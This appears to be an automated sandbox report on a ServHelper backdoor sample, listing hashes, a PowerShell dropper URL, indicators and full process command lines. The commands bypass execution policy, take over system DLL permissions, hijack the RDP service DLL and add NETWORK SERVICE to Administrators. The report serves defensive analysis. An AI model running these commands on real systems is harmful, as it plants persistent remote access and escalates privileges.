servhelper | da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

Analysis

max time kernel
93s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10-04-2024 14:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exe
Size

5.7MB
MD5

61d5e32562d1c70daf0a3112f7888258
SHA1

11c54ce99e87637f58c7bc0bd8134c73df9bf879
SHA256

da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605
SHA512

9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2
SSDEEP

49152:wDK8merb/T/vO90dL3BmAFd4A64nsfJdo5GQ5shfTuU92flI7MhhaftEhamnybrN:wD+3eGLmAQQQQQQQQQQQQQ

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
23	5048	powershell.exe
25	5048	powershell.exe
28	5048	powershell.exe
30	5048	powershell.exe
32	5048	powershell.exe
34	5048	powershell.exe
40	5048	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid process

2680 icacls.exe
4916 icacls.exe
2328 icacls.exe
1440 icacls.exe
4608 icacls.exe
3720 icacls.exe
4296 takeown.exe
4812 icacls.exe

pid	process
2680	icacls.exe
4916	icacls.exe
2328	icacls.exe
1440	icacls.exe
4608	icacls.exe
3720	icacls.exe
4296	takeown.exe
4812	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

4552
4552
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

4608 icacls.exe
3720 icacls.exe
4296 takeown.exe
4812 icacls.exe
2680 icacls.exe
4916 icacls.exe
2328 icacls.exe
1440 icacls.exe

pid	process
4552
4552

pid	process
4608	icacls.exe
3720	icacls.exe
4296	takeown.exe
4812	icacls.exe
2680	icacls.exe
4916	icacls.exe
2328	icacls.exe
1440	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Branding\mediasrv.png	upx
C:\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

22 raw.githubusercontent.com
23 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
22	raw.githubusercontent.com
23	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 18 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_q0kwxnw5.vdb.ps1	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F67.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F46.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F77.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F89.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI5F88.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_bjgljvpz.nin.psm1	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

4296 WMIC.exe

pid	process
4296	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1864 reg.exe
Runs net.exe

pid	process
1864	reg.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4728	powershell.exe
4728	powershell.exe
2444	powershell.exe
2444	powershell.exe
2780	powershell.exe
2780	powershell.exe
3604	powershell.exe
3604	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
5048	powershell.exe
5048	powershell.exe
5048	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

652
652

pid	process
652
652

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeRestorePrivilege	2680	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	4296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4296	WMIC.exe
Token: SeAuditPrivilege	4296	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4296	WMIC.exe
Token: SeAuditPrivilege	4296	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4608	WMIC.exe
Token: SeAuditPrivilege	4608	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4608	WMIC.exe
Token: SeAuditPrivilege	4608	WMIC.exe
Token: SeDebugPrivilege	5048	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exe

description	pid	process	target process
PID 4856 wrote to memory of 4728	4856	da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exe	powershell.exe
PID 4856 wrote to memory of 4728	4856	da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exe	powershell.exe
PID 4728 wrote to memory of 1400	4728	powershell.exe	csc.exe
PID 4728 wrote to memory of 1400	4728	powershell.exe	csc.exe
PID 1400 wrote to memory of 3940	1400	csc.exe	cvtres.exe
PID 1400 wrote to memory of 3940	1400	csc.exe	cvtres.exe
PID 4728 wrote to memory of 2444	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 2444	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 2780	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 2780	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 3604	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 3604	4728	powershell.exe	powershell.exe
PID 4728 wrote to memory of 4296	4728	powershell.exe	WMIC.exe
PID 4728 wrote to memory of 4296	4728	powershell.exe	WMIC.exe
PID 4728 wrote to memory of 4812	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 4812	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 2680	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 2680	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 4916	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 4916	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 1440	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 1440	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 2328	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 2328	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 4608	4728	powershell.exe	WMIC.exe
PID 4728 wrote to memory of 4608	4728	powershell.exe	WMIC.exe
PID 4728 wrote to memory of 3720	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 3720	4728	powershell.exe	icacls.exe
PID 4728 wrote to memory of 4248	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 4248	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 1864	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 1864	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 1656	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 1656	4728	powershell.exe	reg.exe
PID 4728 wrote to memory of 3788	4728	powershell.exe	net.exe
PID 4728 wrote to memory of 3788	4728	powershell.exe	net.exe
PID 3788 wrote to memory of 5040	3788	net.exe	net1.exe
PID 3788 wrote to memory of 5040	3788	net.exe	net1.exe
PID 4728 wrote to memory of 2304	4728	powershell.exe	cmd.exe
PID 4728 wrote to memory of 2304	4728	powershell.exe	cmd.exe
PID 2304 wrote to memory of 4500	2304	cmd.exe	cmd.exe
PID 2304 wrote to memory of 4500	2304	cmd.exe	cmd.exe
PID 4500 wrote to memory of 3852	4500	cmd.exe	net.exe
PID 4500 wrote to memory of 3852	4500	cmd.exe	net.exe
PID 3852 wrote to memory of 4380	3852	net.exe	net1.exe
PID 3852 wrote to memory of 4380	3852	net.exe	net1.exe
PID 4728 wrote to memory of 840	4728	powershell.exe	cmd.exe
PID 4728 wrote to memory of 840	4728	powershell.exe	cmd.exe
PID 840 wrote to memory of 4056	840	cmd.exe	cmd.exe
PID 840 wrote to memory of 4056	840	cmd.exe	cmd.exe
PID 4056 wrote to memory of 2476	4056	cmd.exe	net.exe
PID 4056 wrote to memory of 2476	4056	cmd.exe	net.exe
PID 2476 wrote to memory of 3244	2476	net.exe	net1.exe
PID 2476 wrote to memory of 3244	2476	net.exe	net1.exe
PID 2668 wrote to memory of 404	2668	cmd.exe	net.exe
PID 2668 wrote to memory of 404	2668	cmd.exe	net.exe
PID 404 wrote to memory of 5104	404	net.exe	net1.exe
PID 404 wrote to memory of 5104	404	net.exe	net1.exe
PID 4236 wrote to memory of 1056	4236	cmd.exe	net.exe
PID 4236 wrote to memory of 1056	4236	cmd.exe	net.exe
PID 1056 wrote to memory of 3964	1056	net.exe	net1.exe
PID 1056 wrote to memory of 3964	1056	net.exe	net1.exe
PID 4480 wrote to memory of 1580	4480	cmd.exe	net.exe
PID 4480 wrote to memory of 1580	4480	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exe
"C:\Users\Admin\AppData\Local\Temp\da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ugz55qe4\ugz55qe4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES38C3.tmp" "c:\Users\Admin\AppData\Local\Temp\ugz55qe4\CSC95EA615C74594185A57F9282C972CA.TMP"
      4⤵
      PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3604
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4296
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4812
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2680
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4916
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1440
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2328
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4608
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3720
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:4248
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:1864
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1656
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4500
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3852
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:4380
- - C:\Windows\system32\cmd.exe
